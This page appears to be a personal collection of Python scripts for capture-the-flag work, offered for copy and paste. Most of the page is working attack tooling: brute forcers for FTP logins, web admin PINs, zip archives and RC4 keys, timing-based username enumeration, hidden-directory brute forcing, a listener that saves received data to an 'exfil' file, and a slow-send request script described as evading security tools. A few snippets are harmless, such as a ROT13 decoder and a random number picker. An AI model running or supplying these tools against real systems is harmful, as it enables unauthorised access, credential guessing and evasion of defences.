This is a page of quick wins and scripts written to achieve certain goals. Copy/paste parts as needed!
Python
FTP Brute Force
Brute forces all passwords from words.txt for the username secure_usertry/except loop.
from ftplib import FTP
import time
ftp = FTP()
HOST = 'services.ftp.site'
PORT = 2121
ftp.set_debuglevel(2)
dictionary = 'words.txt'
password = None
with open(dictionary, 'r') as f:
for line in f.readlines():
password = line.strip('\n')
print('trying ' + password)
time.sleep(0.001)
try:
ftp.connect(HOST, PORT)
ftp.login(user='secure_user', passwd=password)
ftp.quit()
except:
pass
print(password)
RC4 Brute Force
ARC4 brute forcing script written to try and decrypt a string. The decryption attempt is passed to another loop to try and determine if the string is readable ASCII or not. I chose not to pause or quit the loop because I was getting some false positives.
from arc4 import ARC4
cipher = b'\x55\x34\xe1\xb2\x17\xdc\x2a\xc5\x21\x26\x77\xe3\xae\x56\xed\x42\xc3\x28\x10\x40\x0a\xfc\xa2\x1d\xef\xab\x11\x1b\xc7'
with open("big_set.txt", "r") as keys:
for line in keys:
line = line.strip()
arc4 = ARC4(bytes(line, 'utf-8'))
new = arc4.decrypt(cipher)
try:
decoder = bytes.fromhex(new.hex()).decode('utf-8')
print("Key " + line + " made this:\n" + decoder)
except UnicodeDecodeError:
pass
Zip File Brute Force Guess with B64 Password
This script will attempt to unzip an archive with a password from rockyou. This particular challenge said the password was base64 encoded, which is what the first part of the loop is for. Second part of loop is a try/except loop to pass the unzip error with wrong password.
Alternatively, one could get the zip hash then convert the rockyou list into base64 for each line - I chose to NOT do this to prevent having an extra rockyou file full of base64.
import base64
import zipfile
dictionary = '/mnt/d/hashcat-6.0.0/rockyou.txt'
with open(dictionary, 'r', errors='ignore') as f:
for line in f.readlines():
password = line.strip('\n')
#print(f'Raw password is {password}')
encoded = base64.b64encode(str.encode(password))
#print(f'Encoded password is {encoded}')
with zipfile.ZipFile('./base64.zip','r') as zip_ref:
try:
zip_ref.extractall(pwd=encoded)
print(f'Found! Password is {password}, encoded is {encoded}!')
quit()
except:
pass
Connect to a Website, Establish Session, and Send Data
Establishing a session prevents multiple TCP connections from having to be opened. Additionally, taking the JSON and interpreting natively makes things useful!
import requests
import json
url = 'https://captcha.lol'
header = {'User-Agent':'bot'}
s = requests.Session()
r = s.get(url,headers=header)
ans = json.loads(r.text)
code = ans['code']
nonce = ans['nonce']
print(code)
print(nonce)
p = s.post(url, json=ans, headers=header)
print(p.text)
PIN Brute Force for Web Login
This script adds a pin guess for a web login attempt. The pin is zfilled which makes 4 to 004. Additionally there’s a regular expression to find if access was denied or not and give what the PIN was while breaking out of the loop. A final print statement lets me know that they were all looped through, useful when I wasn't sure if my requests were properly formatted.
import urllib
import requests
import re
url = "https://vuln.server/admin_login"
pin = 0
while pin < 1000:
#headers = {'Cookie' : 'PHPSESSID=qhq84atma883hio9eso7hhsr4j'}
payload = {'email':'sysadmin@vuln.server','password':str(pin).zfill(3)}
req = requests.post(url, data=payload, allow_redirects=True)
if not re.findall('Access Denied', req.text):
print(f'\npin is {str(pin).zfill(3)}!\n')
break
print(str(pin).zfill(3), req.status_code, len(req.content))
pin = pin + 1
print('finished testing')
Username Guessing based on Timing Analysis
This script pays attention to the timing between good usernames and bad ones to help determine if a username is valid.
import requests
from string import ascii_lowercase
with open('surnames.txt') as f:
lines = f.read().splitlines()
for lname in lines:
for init in ascii_lowercase:
username = init+lname
r = requests.post('http://m4lwhere.org/login.php', data = {'user':username,'pass':'haha'})
roundtrip = r.elapsed.total_seconds()
print(f'{roundtrip} for {username}')
Connect to Raw Socket and Pass Data
This challenge required connecting to the socket and brute forcing the first byte back, I didn’t fully finish this challenge because it was a little frustrating. I need to spend more time on this script.
import socket
import time
def connect():
s.connect(('challenges.ctf.lol',3008))
def recv():
recv = s.recv(1024)
print(recv)
for i in range(ord('A'),ord('z')+1):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print(f'trying {chr(i)}')
s.connect(('challenges.ctf.lol',30468))
recv = s.recv(1024)
print(recv)
s.sendall(bytes(chr(i), encoding='utf8'))
recv = s.recv(1024)
print(recv)
s.close()
ROT13 Automatic Decoder
Written by Jess! Automatically finds the decoded input using the enchant library. Searches for legitimate words in the English dictionary, very cool!
import enchant
d = enchant.Dict("en_US")
cipher=input("Enter Caesar Shift Cipher to Decode: ")
for n in range(26):
decode=""
wordfound=""
for x in range(0,len(cipher)):
if ord(cipher[x]) in range(97,123):
decode+=(chr(((ord(cipher[x])-96+n)%26)+97))
elif ord(cipher[x]) in range(65,91):
decode+=(chr(((ord(cipher[x])-64+n)%26)+65))
elif ord(cipher[x])==(32):
checkword=d.check(decode)
if checkword:
wordfound=("Found!")
decode+=cipher[x]
else:
decode+=cipher[x]
check=d.check(decode)
print((n+1),decode,wordfound)
Choose Random Numbers
This program chooses some random integers and assigns them to a string. Nothing fancy.
import random
series = random.randint(1,3)
book = random.randint(1,6)
page = random.randint(1,300)
print(f'Series {series}, Book {book}, Page {page}\n\n')
List of all Characters from aa to zz :
Quick way to create a list of all possible lowercase values
from string import ascii_lowercase
for a in ascii_lowercase:
for b in ascii_lowercase:
print(a+b)
Below is brute forcing all lowercase characters to find a hidden web dir
import requests
from string import ascii_lowercase
url = 'http://m4lwhere.org/'
for a in ascii_lowercase:
for b in ascii_lowercase:
for c in ascii_lowercase:
#print(a+b+c)
fullUrl = url + a + b + c
r = requests.get(fullUrl)
if r.status_code != 404:
print(f'Code {r.status_code} for {fullUrl}')
else:
pass
Same one, just with a progress bar!
import requests
from progress.bar import Bar
from string import ascii_lowercase
url = 'http://m4lwhere.org/'
with Bar('Brute Forcing...', max=26*26*26-1) as bar:
for a in ascii_lowercase:
for b in ascii_lowercase:
for c in ascii_lowercase:
#print(a+b+c)
fullUrl = url + a + b + c
r = requests.get(fullUrl)
if r.status_code != 404:
print(f'\nCode {r.status_code} for {fullUrl}')
else:
bar.next()
pass
Receive POST in Python
This uses to receive large items sent via POST
PORT = 8000
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, world!')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
self.send_response(200)
self.end_headers()
decoded = body.decode('utf-8')
print('[+] Received: ')
print(decoded)
f = open('/tmp/exfil.txt', 'w')
f.write(decoded)
with HTTPServer(('localhost', PORT), SimpleHTTPRequestHandler) as httpd:
print("[+] Running Server at", PORT, "Saving Files in /tmp/exfil.txt" )
httpd.serve_forever()
#Run it: python3 post.py
Async HTTP Requests
These types of requests can try to time out various security tools by intentionally taking a very slow time to deliver a payload.
import asyncio, urllib.parse, sys
from time import sleep
async def print_http_headers(url):
# Get our URL parts together
url = urllib.parse.urlsplit(url)
# Determine if HTTPS or not
if url.scheme == 'https':
reader, writer = await asyncio.open_connection(
url.hostname, 443, ssl=True)
else:
reader, writer = await asyncio.open_connection(
url.hostname, 80)
"""
# Below is for a GET request to prove our async pipeline works as intended
# Commented out to send exploit
#####
query = [
f"GET {url.path or '/'} HTTP/1.1\r\n",
f"Host: {url.hostname}\r\n",
f"\r\n"
]
"""
# Our exploit, this payload is json
payload = '{"username":"m4lwhere","password":"lmao"}'
# Build the HTTP request
query = [
f"POST {url.path or '/'} HTTP/1.1\r\n",
f"Host: {url.hostname}\r\n",
f"Content-Length: {len(payload)}\r\n",
f"Content-Type: application/json\r\n",
f"\r\n"
]
# Send the headers with only 1 second between each one
for i in query:
print(i) # Let us see what's being sent as it happens
sleep(1)
writer.write(i.encode('latin-1'))
# Now time to send our exploit
print("sending payload...")
# Split the payload into individual bytes instead of a whole string
for i in payload:
print(i)
sleep(0.5) # Wait half a second before sending each byte
writer.write(i.encode('latin-1')) # Send byte as its placed into writer
# Now we wait for a response
while True:
line = await reader.readline()
if not line:
break
line = line.decode('latin1').rstrip()
if line:
print(f'{line}')
# close the socket
writer.close()
# Pass the website in as an ARGV value
url = sys.argv[1]
asyncio.run(print_http_headers(url))